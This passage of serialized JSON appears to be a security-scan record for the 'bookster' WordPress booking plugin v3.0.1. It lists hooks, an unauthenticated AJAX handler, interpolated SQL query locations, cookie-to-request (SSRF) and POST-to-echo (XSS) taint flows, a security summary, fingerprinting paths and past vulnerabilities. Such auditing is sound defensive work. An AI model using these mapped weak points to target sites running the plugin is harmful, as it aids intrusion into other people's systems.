iority":152,"file":227,"line":228},"profile_update","update_record_email","src\\Engine\\Auth.php",25,{"type":210,"name":230,"callback":231,"priority":152,"file":227,"line":205},"woocommerce_disable_admin_bar","wc_disable_admin_bar",{"type":210,"name":233,"callback":234,"priority":152,"file":227,"line":208},"woocommerce_prevent_admin_access","wc_prevent_admin_access",{"type":184,"name":236,"callback":237,"priority":238,"file":239,"line":208},"admin_bar_menu","add_my_bookster_link_to_admin_bar",999,"src\\Engine\\BEPages\\AgentPage.php",{"type":184,"name":241,"callback":242,"file":239,"line":243},"admin_menu","add_my_bookster_menu",32,{"type":184,"name":245,"callback":245,"file":239,"line":246},"admin_enqueue_scripts",33,{"type":184,"name":236,"callback":248,"priority":238,"file":249,"line":188},"add_bookster_link_to_admin_bar","src\\Engine\\BEPages\\ManagerPage.php",{"type":184,"name":241,"callback":251,"file":249,"line":246},"add_bookster_menu",{"type":184,"name":245,"callback":245,"file":249,"line":223},{"type":184,"name":241,"callback":254,"file":255,"line":243},"add_setup_wizard_menu","src\\Engine\\BEPages\\SetupWizardPage.php",{"type":184,"name":245,"callback":245,"file":255,"line":246},{"type":184,"name":258,"callback":259,"file":255,"line":223},"current_screen","redirect_to_setup_wizard",{"type":210,"name":261,"callback":262,"priority":152,"file":263,"line":228},"bookster_validate_booking_input","validate_payment_gateway_enabled","src\\Engine\\Booking\\BookingLogic.php",{"type":184,"name":190,"callback":265,"file":266,"line":80},"register_custom_button_block","src\\Engine\\FEBlocks\\BookingButtonBlock.php",{"type":184,"name":268,"callback":269,"file":266,"line":136},"wp_footer","enqueue_booking_button_block_scripts",{"type":210,"name":271,"callback":272,"file":266,"line":217},"bookster_module_handles","add_editor_script_as_module",{"type":184,"name":190,"callback":274,"file":275,"line":217},"register_custom_booking_form_block","src\\Engine\\FEBlocks\\BookingFormBlock.php",{"type":184,"name":268,"callback":277,"file":275,"line":278},"enqueue_booking_form_block_scripts",22,{"type":210,"name":271,"callback":272,"file":275,"line":280},23,{"type":184,"name":190,"callback":265,"file":282,"line":217},"src\\Engine\\FEBlocks\\CustomerDashboardBlock.php",{"type":184,"name":268,"callback":284,"file":282,"line":278},"enqueue_customer_dashboard_block_scripts",{"type":210,"name":271,"callback":272,"file":282,"line":280},{"type":184,"name":287,"callback":288,"priority":152,"file":289,"line":280},"bookster_request_booking_success","send_new_booking_email","src\\Engine\\Intergration\\EmailNotification.php",{"type":184,"name":291,"callback":292,"priority":152,"file":289,"line":293},"bookster_manager_create_appointment","send_create_appointment_email",24,{"type":184,"name":295,"callback":296,"priority":152,"file":289,"line":228},"bookster_manager_update_appointment","send_update_appointment_email",{"type":184,"name":287,"callback":298,"priority":152,"file":299,"line":300},"send_new_booking_notification","src\\Engine\\Intergration\\InAppNotification.php",27,{"type":184,"name":291,"callback":302,"priority":152,"file":299,"line":205},"send_manager_created_appointment_notification",{"type":184,"name":304,"callback":305,"priority":152,"file":299,"line":208},"bookster_agent_create_appointment","send_agent_created_appointment_notification",{"type":184,"name":295,"callback":307,"priority":152,"file":299,"line":188},"handle_appointment_update",{"type":184,"name":309,"callback":310,"priority":152,"file":299,"line":243},"bookster_manager_delete_appointment","send_appointment_deleted_notification",{"type":184,"name":312,"callback":313,"priority":152,"file":299,"line":75},"bookster_license_expiring_soon","send_license_expiring_soon_notification",{"type":184,"name":315,"callback":316,"priority":152,"file":299,"line":317},"bookster_license_expired","send_license_expired_notification",37,{"type":210,"name":319,"callback":320,"priority":152,"file":321,"line":136},"script_loader_tag","add_entry_as_module","src\\Engine\\Register\\RegisterFacade.php",{"type":184,"name":190,"callback":323,"file":321,"line":278},"register_all_assets",{"type":210,"name":325,"callback":326,"priority":152,"file":321,"line":280},"pre_load_script_translations","use_mo_file_for_script_translations",{"type":184,"name":190,"callback":328,"file":329,"line":330},"register_all_scripts","src\\Engine\\Register\\RegisterProd.php",13,{"type":184,"name":332,"callback":333,"file":334,"line":205},"rest_api_init","add_bookster_endpoint","src\\Engine\\RestAPI.php",{"type":210,"name":336,"callback":337,"file":338,"line":339},"cron_schedules","add_cron_schedules","src\\Engine\\Tasks\\RegisterTasks.php",14,{"type":210,"name":341,"callback":342,"file":343,"line":344},"pre_set_site_transient_update_plugins","check_update","src\\Features\\License\\EDD_SL_Plugin_Updater.php",68,{"type":210,"name":346,"callback":347,"priority":152,"file":343,"line":103},"plugins_api","plugins_api_filter",{"type":184,"name":349,"callback":350,"priority":152,"file":343,"line":351},"after_plugin_row","show_update_notification",70,{"type":184,"name":185,"callback":353,"file":343,"line":354},"show_changelog",71,{"type":184,"name":190,"callback":356,"file":357,"line":94},"init_plugin_updater","src\\Features\\License\\LicenseHandler.php",{"type":184,"name":359,"callback":360,"file":361,"line":136},"shutdown","maybe_dispatch_new_queue","src\\Features\\Tasks\\Dispatcher\\AsyncDispatcher.php",{"type":210,"name":363,"callback":364,"file":365,"line":366},"upgrader_package_options","anonymous","src\\Services\\AddonsService.php",518,[368,372],{"action":369,"nopriv":51,"callback":370,"hasNonce":51,"hasCapCheck":51,"file":371,"line":339},"bookster_reload_nonce","ajax_bookster_reload_nonce","src\\Engine\\Ajax.php",{"action":369,"nopriv":373,"callback":370,"hasNonce":51,"hasCapCheck":51,"file":371,"line":374},true,15,[],[377,381,385],{"tag":378,"callback":379,"file":380,"line":136},"bookster_booking_button","render_booking_button_shortcode","src\\Engine\\FEBlocks\\BookingButtonShortcode.php",{"tag":382,"callback":383,"file":384,"line":136},"bookster_booking_form","render_booking_form_shortcode","src\\Engine\\FEBlocks\\BookingFormShortcode.php",{"tag":386,"callback":387,"file":388,"line":136},"bookster_customer_dashboard","render_customer_dashboard_block","src\\Engine\\FEBlocks\\CustomerDashboardShortcode.php",[],5,{"dangerousFunctions":392,"sqlUsage":393,"outputEscaping":415,"fileOperations":105,"externalRequests":395,"nonceChecks":52,"capabilityChecks":300,"bundledLibraries":422},[],{"prepared":394,"raw":395,"locations":396},84,9,[397,400,402,404,406,407,409,411,413],{"file":398,"line":300,"context":399},"src\\Engine\\Tasks\\CleanTransactionTask.php","$wpdb->query() with variable interpolation",{"file":401,"line":223,"context":399},"src\\Models\\Migrations\\BookingModelMigration.php",{"file":401,"line":403,"context":399},45,{"file":401,"line":405,"context":399},67,{"file":401,"line":27,"context":399},{"file":401,"line":408,"context":399},120,{"file":401,"line":410,"context":399},141,{"file":412,"line":116,"context":399},"src\\Models\\Migrations\\Migrations.php",{"file":412,"line":414,"context":399},80,{"escaped":416,"rawEcho":28,"locations":417},174,[418,421],{"file":419,"line":344,"context":420},"templates\\emails\\appt-notification\\appt-booking-details.php","raw output",{"file":419,"line":27,"context":420},[423],{"name":424,"version":39,"knownCves":425},"Lodash",[],[427,444,458],{"entryPoint":428,"graph":429,"unsanitizedCount":28,"severity":42},"send_async_request (src\\Features\\Tasks\\Dispatcher\\AsyncDispatcher.php:235)",{"nodes":430,"edges":442},[431,436],{"id":432,"type":433,"label":434,"file":361,"line":435},"n0","source","$_COOKIE (x2)",254,{"id":437,"type":438,"label":439,"file":361,"line":440,"wp_function":441},"n1","sink","wp_remote_post() [SSRF]",263,"wp_remote_post",[443],{"from":432,"to":437,"sanitized":51},{"entryPoint":445,"graph":446,"unsanitizedCount":29,"severity":457},"\u003CAdminNotice> (src\\Engine\\AdminNotice.php:0)",{"nodes":447,"edges":455},[448,451],{"id":432,"type":433,"label":449,"file":220,"line":450},"$_POST",77,{"id":437,"type":438,"label":452,"file":220,"line":453,"wp_function":454},"echo() [XSS]",237,"echo",[456],{"from":432,"to":437,"sanitized":373},"low",{"entryPoint":459,"graph":460,"unsanitizedCount":29,"severity":457},"\u003CAsyncDispatcher> (src\\Features\\Tasks\\Dispatcher\\AsyncDispatcher.php:0)",{"nodes":461,"edges":464},[462,463],{"id":432,"type":433,"label":434,"file":361,"line":435},{"id":437,"type":438,"label":439,"file":361,"line":440,"wp_function":441},[465],{"from":432,"to":437,"sanitized":373},{"summary":467,"deductions":468},"The 'bookster' plugin v3.0.1 exhibits a mixed security posture.  It demonstrates good practices in several areas, with a very high percentage of properly escaped output and SQL queries utilizing prepared statements.  The absence of critical or high severity taint analysis findings and the fact that all previously identified CVEs are now patched are positive indicators.\n\nHowever, the plugin does present specific security concerns that warrant attention. The presence of two AJAX handlers without authentication checks creates a significant attack surface.  While taint analysis didn't reveal critical issues, the one identified flow with unsanitized paths, even if not classified as critical or high, is a potential entry point for vulnerabilities.  Furthermore, the vulnerability history shows a pattern of medium severity issues including SQL injection and authorization bypass, suggesting that while past vulnerabilities have been addressed, these types of flaws have been present, indicating a need for continued vigilance.\n\nIn conclusion, while 'bookster' has strengths in secure coding practices like output escaping and prepared statements, the unprotected AJAX endpoints and past medium-severity vulnerabilities indicate areas where further hardening is necessary to achieve a robust security posture.",[469,471,473,475],{"reason":470,"points":152},"AJAX handlers without auth checks",{"reason":472,"points":390},"Flows with unsanitized paths",{"reason":474,"points":152},"Previous medium severity SQL injection",{"reason":476,"points":152},"Previous medium severity auth bypass","2026-03-16T20:25:15.750Z",{"wat":479,"direct":502},{"assetPaths":480,"generatorPatterns":490,"scriptPaths":491,"versionParams":492},[481,482,483,484,485,486,487,488,489],"\u002Fwp-content\u002Fplugins\u002Fbookster\u002Fassets\u002Fcss\u002Fadmin-hidden.css","\u002Fwp-content\u002Fplugins\u002Fbookster\u002Fassets\u002Fcss\u002Fbookster.css","\u002Fwp-content\u002Fplugins\u002Fbookster\u002Fassets\u002Fcss\u002Fbookster-font.css","\u002Fwp-content\u002Fplugins\u002Fbookster\u002Fassets\u002Fcss\u002Freset-theme.css","\u002Fwp-content\u002Fplugins\u002Fbookster\u002Fassets\u002Fcss\u002Fanimate.min.css","\u002Fwp-content\u002Fplugins\u002Fbookster\u002Fassets\u002Fjs\u002Fpage-manager.js","\u002Fwp-content\u002Fplugins\u002Fbookster\u002Fassets\u002Fjs\u002Fpage-agent.js","\u002Fwp-content\u002Fplugins\u002Fbookster\u002Fassets\u002Fjs\u002Fpage-setup-wizard.js","\u002Fwp-content\u002Fplugins\u002Fbookster\u002Fassets\u002Fjs\u002Fblock-booking-button.js",[],[486,487,488,489],[493,494,495,496,497,498,499,500,501],"bookster.css?ver=","admin-hidden.css?ver=","bookster-font.css?ver=","reset-theme.css?ver=","animate.min.css?ver=","page-manager.js?ver=","page-agent.js?ver=","page-setup-wizard.js?ver=","block-booking-button.js?ver=",{"cssClasses":503,"htmlComments":515,"htmlAttributes":518,"restEndpoints":525,"jsGlobals":532,"shortcodeOutput":538},[504,505,506,507,508,509,510,511,512,513,514],"bookster-main-wrapper","bookster-custom-input","bookster-booking-form","bookster-date-picker-wrapper","bookster-time-picker-wrapper","bookster-appointment-item","bookster-service-item","bookster-staff-item","bookster-customer-details-form","bookster-confirmation-section","bookster-payment-section",[516,517],"\u003C!-- Bookster: Generated JS Variables -->","\u003C!-- Bookster: Widget Wrapper -->",[519,520,521,522,523,524],"data-bookster-preview-appt","data-bookster-booking-id","data-bookster-service-id","data-bookster-staff-id","data-bookster-date","data-bookster-time",[526,527,528,529,530,531],"\u002Fwp-json\u002Fbookster\u002Fv1\u002Fsettings","\u002Fwp-json\u002Fbookster\u002Fv1\u002Fservices","\u002Fwp-json\u002Fbookster\u002Fv1\u002Fstaff","\u002Fwp-json\u002Fbookster\u002Fv1\u002Fappointments","\u002Fwp-json\u002Fbookster\u002Fv1\u002Fbookings","\u002Fwp-json\u002Fbookster\u002Fv1\u002Fpayment",[533,534,535,536,537],"window.booksterPreviewAppt","BooksterPublicData","BooksterManagerData","BooksterMetaData","BooksterAddons",[539,540,541,542],"[bookster_booking_form]","[bookster_appointment_list]","[bookster_staff_directory]","[bookster_service_listing]",{"error":373,"url":544,"statusCode":545,"statusMessage":546,"message":546},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fbookster\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":374,"versions":548},[549,554,561,567,575,583,591,599,607,615,623,630,639,648,656],{"version":6,"download_url":26,"svn_tag_url":550,"released_at":39,"has_diff":51,"diff_files_changed":551,"diff_lines":39,"trac_diff_url":552,"vulnerabilities":553,"is_current":373},"https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F3.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F3.0.0&new_path=%2Fbookster%2Ftags%2F3.0.1",[],{"version":555,"download_url":556,"svn_tag_url":557,"released_at":39,"has_diff":51,"diff_files_changed":558,"diff_lines":39,"trac_diff_url":559,"vulnerabilities":560,"is_current":51},"3.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.3.0.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F3.0.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F2.2.0&new_path=%2Fbookster%2Ftags%2F3.0.0",[],{"version":41,"download_url":562,"svn_tag_url":563,"released_at":39,"has_diff":51,"diff_files_changed":564,"diff_lines":39,"trac_diff_url":565,"vulnerabilities":566,"is_current":51},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.2.2.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F2.2.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F2.1.1&new_path=%2Fbookster%2Ftags%2F2.2.0",[],{"version":568,"download_url":569,"svn_tag_url":570,"released_at":39,"has_diff":51,"diff_files_changed":571,"diff_lines":39,"trac_diff_url":572,"vulnerabilities":573,"is_current":51},"2.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.2.1.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F2.1.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F2.0.1&new_path=%2Fbookster%2Ftags%2F2.1.1",[574],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":576,"download_url":577,"svn_tag_url":578,"released_at":39,"has_diff":51,"diff_files_changed":579,"diff_lines":39,"trac_diff_url":580,"vulnerabilities":581,"is_current":51},"2.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.2.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F2.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F2.0&new_path=%2Fbookster%2Ftags%2F2.0.1",[582],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":584,"download_url":585,"svn_tag_url":586,"released_at":39,"has_diff":51,"diff_files_changed":587,"diff_lines":39,"trac_diff_url":588,"vulnerabilities":589,"is_current":51},"2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.2.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F2.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F1.3.3&new_path=%2Fbookster%2Ftags%2F2.0",[590],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":592,"download_url":593,"svn_tag_url":594,"released_at":39,"has_diff":51,"diff_files_changed":595,"diff_lines":39,"trac_diff_url":596,"vulnerabilities":597,"is_current":51},"1.3.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.1.3.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F1.3.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F1.3.2&new_path=%2Fbookster%2Ftags%2F1.3.3",[598],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":600,"download_url":601,"svn_tag_url":602,"released_at":39,"has_diff":51,"diff_files_changed":603,"diff_lines":39,"trac_diff_url":604,"vulnerabilities":605,"is_current":51},"1.3.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.1.3.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F1.3.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F1.3.1&new_path=%2Fbookster%2Ftags%2F1.3.2",[606],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":608,"download_url":609,"svn_tag_url":610,"released_at":39,"has_diff":51,"diff_files_changed":611,"diff_lines":39,"trac_diff_url":612,"vulnerabilities":613,"is_current":51},"1.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.1.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F1.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F1.3.0&new_path=%2Fbookster%2Ftags%2F1.3.1",[614],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":616,"download_url":617,"svn_tag_url":618,"released_at":39,"has_diff":51,"diff_files_changed":619,"diff_lines":39,"trac_diff_url":620,"vulnerabilities":621,"is_current":51},"1.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.1.3.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F1.3.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F1.2.0&new_path=%2Fbookster%2Ftags%2F1.3.0",[622],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":67,"download_url":624,"svn_tag_url":625,"released_at":39,"has_diff":51,"diff_files_changed":626,"diff_lines":39,"trac_diff_url":627,"vulnerabilities":628,"is_current":51},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.1.2.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F1.2.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F1.1.0&new_path=%2Fbookster%2Ftags%2F1.2.0",[629],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":631,"download_url":632,"svn_tag_url":633,"released_at":39,"has_diff":51,"diff_files_changed":634,"diff_lines":39,"trac_diff_url":635,"vulnerabilities":636,"is_current":51},"1.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.1.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F1.1.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F1.0.2&new_path=%2Fbookster%2Ftags%2F1.1.0",[637,638],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":62,"url_slug":63,"title":64,"severity":42,"cvss_score":68,"vuln_type":70,"patched_in_version":67},{"version":640,"download_url":641,"svn_tag_url":642,"released_at":39,"has_diff":51,"diff_files_changed":643,"diff_lines":39,"trac_diff_url":644,"vulnerabilities":645,"is_current":51},"1.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.1.0.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F1.0.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F1.0.1&new_path=%2Fbookster%2Ftags%2F1.0.2",[646,647],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":62,"url_slug":63,"title":64,"severity":42,"cvss_score":68,"vuln_type":70,"patched_in_version":67},{"version":147,"download_url":649,"svn_tag_url":650,"released_at":39,"has_diff":51,"diff_files_changed":651,"diff_lines":39,"trac_diff_url":652,"vulnerabilities":653,"is_current":51},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.1.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F1.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbookster%2Ftags%2F1.0&new_path=%2Fbookster%2Ftags%2F1.0.1",[654,655],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":62,"url_slug":63,"title":64,"severity":42,"cvss_score":68,"vuln_type":70,"patched_in_version":67},{"version":166,"download_url":657,"svn_tag_url":658,"released_at":39,"has_diff":51,"diff_files_changed":659,"diff_lines":39,"trac_diff_url":39,"vulnerabilities":660,"is_current":51},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbookster\u002Ftags\u002F1.0\u002F",[],[661,662],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":62,"url_slug":63,"title":64,"severity":42,"cvss_score":68,"vuln_type":70,"patched_in_version":67}]